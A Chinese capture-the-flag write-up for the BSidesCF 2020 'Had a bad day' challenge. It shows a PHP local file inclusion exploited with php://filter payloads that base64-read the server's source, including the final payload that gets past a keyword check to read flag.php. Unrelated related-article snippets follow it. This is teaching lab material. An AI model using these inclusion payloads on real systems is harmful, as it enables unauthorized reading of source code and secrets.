首先先打开主页,审查代码,并没有什么特别的地方
使用dirsearch,发现flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/82348deddfd94ca4a9a05fe1d02e0131.png)
打开什么都不显示
网页下又两个按钮,从源代码来看,会将两个属性--"woofers"和"meowers"通过get方法传递,通过修改属性发现网页不显示
![在这里插入图片描述](https://img-blog.csdnimg.cn/09fa8628eaff4a25828050bc11a9621d.png)
当输入标点符号发现报错
![在这里插入图片描述](https://img-blog.csdnimg.cn/96524b47fbcf44f7b4142d794e42f911.png)

使用了include函数,想到使用php伪协议
使用php://filter读取一些源代码

```
category=php://filter/read=convert.base64-encode/resource=index.php
```

![在这里插入图片描述](https://img-blog.csdnimg.cn/21ecc8d993254ff9b020a8d388e177f5.png)

报错,发现.php重复了两次,推测源代码对输入进行了拼接

```
category=php://filter/read=convert.base64-encode/resource=index
```
可以正常读出,网页中的php代码为

```
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
```

```
category=php://filter/read=convert.base64-encode/resource=flag
```
尝试使用伪协议读取flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/b2f3be9b801641e6babf46a29f75cc42.png)
发现不显示
审查php代码
可以发现当get传入的参数不包含"woofers"、"meowers"、"index"则会跳转到else,所以无法直接读取,必须在变量中插入"woofers"、"meowers"、"index"
最终payload
```
category=php://filter/read=convert.base64-encode/index/resource=flag
```
![·](https://img-blog.csdnimg.cn/2d13305f53324041b32410f0f9c2aa00.png)

[BSidesCF 2020]Had a bad day 1--PHP伪协议的更多相关文章

  1. 2020/2/3 PHP代码审计之PHP伪协议

    0x00 简介 开局一张图233 0x01 file://协议 说明: file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统.当指定了一个相对路径(不以/..\或 Windows ...

  2. [BSidesCF 2020]Had a bad day

    [BSidesCF 2020]Had a bad day 测试 一些猫狗的图片加上url有传参,测试到文件包含时报错了. 使用php伪协议: php伪协议 php://fliter/read=conv ...

  3. [BUUOJ记录] [BSidesCF 2020]Had a bad day

    主要考察文件包含以及php://filter伪协议的一个小trick.题目很简单,但是因为不知道这个trick卡了很久,记录一下 进入题目看到有两个按钮,没有其他信息: 点击按钮显示出来一张图片,然后 ...

  4. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  5. BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz

    BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz 看题 <?php include("flag.php"); highlight_file(__FILE__) ...

  6. 2020极客大挑战Web题

    前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...

  7. 关于绕过域名(ip)校验的一些小知识

    这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了 对referer做校验一般是对csrf进行防范的手段之一,但是很多时候 ...

  8. PHP代码审计基础

    php核心配置 php.ini 基本配置 语法 大小写敏感 运算符 空值的表达式 安全模式 安全模式 safe_mode = off 用来限制文档的存取,限制环境变量的存取,控制外部程序的执行.PHP ...

  9. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

随机推荐

  1. 【NX二次开发】Block UI 曲线收集器

    属性说明 属性   类型   描述   常规           BlockID    String    控件ID    Enable    Logical    是否可操作    Group    ...

  2. UF_DRAW 制图操作

    Open C uc6476uc6477uc6478uc6479uc6480uc6481uc6482uc6483uc6484uc6485uc6486uc6488uc6489uc6492uc6494uc6 ...

  3. 【NX二次开发】多种变换

    变换的种类: uf5942 矩阵乘积变换 uf5943 平移变换 uf5944 缩放变换 uf5945 旋转变换 uf5946 镜像变换 最后使用 uf5947 实现uf5942-uf5946的变换. ...

  4. 【NX二次开发】开发环境搭建

    1.Visual Studio 版本按照下表选择. UG版本 VS版本 NX1847-NX1872版 Visual Studio 2017 Build 19.10.25017 NX12版 Visual ...

  5. What is maven?

    Introduction Maven, a Yiddish word meaning accumulator(累加器) of knowledge, began as an attempt to sim ...

  6. 云原生时代的Java

    原文链接(作者:周志明):https://time.geekbang.org/column/article/321185 公开课链接:https://time.geekbang.org/opencou ...

  7. 三剑客-awk

    1.作用特点 排除信息 查询信息 统计信息 替换信息 2.语法格式 awk [参数] '模式-动作' 文件 3.awk命令执行原理 4.命令使用方法 创建测试环境 [root@shuai ~]# ca ...

  8. Elasticsearch的配置学习笔记

    文/朱季谦 Elasticsearch是一个基于Lucene的搜索服务器.它提供一个分布式多用户能力的全文搜索引擎,基于RESTful web接口,Elasticsearch是用Java语言开发的. ...

  9. Git上传代码遇到的报错

    Git上传代码遇到的报错 1.git上传代码卡住(Total 7072 (delta 2508), reused 6844 (delta 2376), pack-reused 0) git confi ...

  10. 案例分享:Qt西门子机床人机界面以及数据看板定制(西门子通讯,mysql数据库,生产信息,参数信息,信息化看板,权限控制,播放器,二维图表,参数调试界面)

    若该文为原创文章,转载请注明原文出处本文章博客地址:https://blog.csdn.net/qq21497936/article/details/118685521 长期持续带来更多项目与技术分享 ...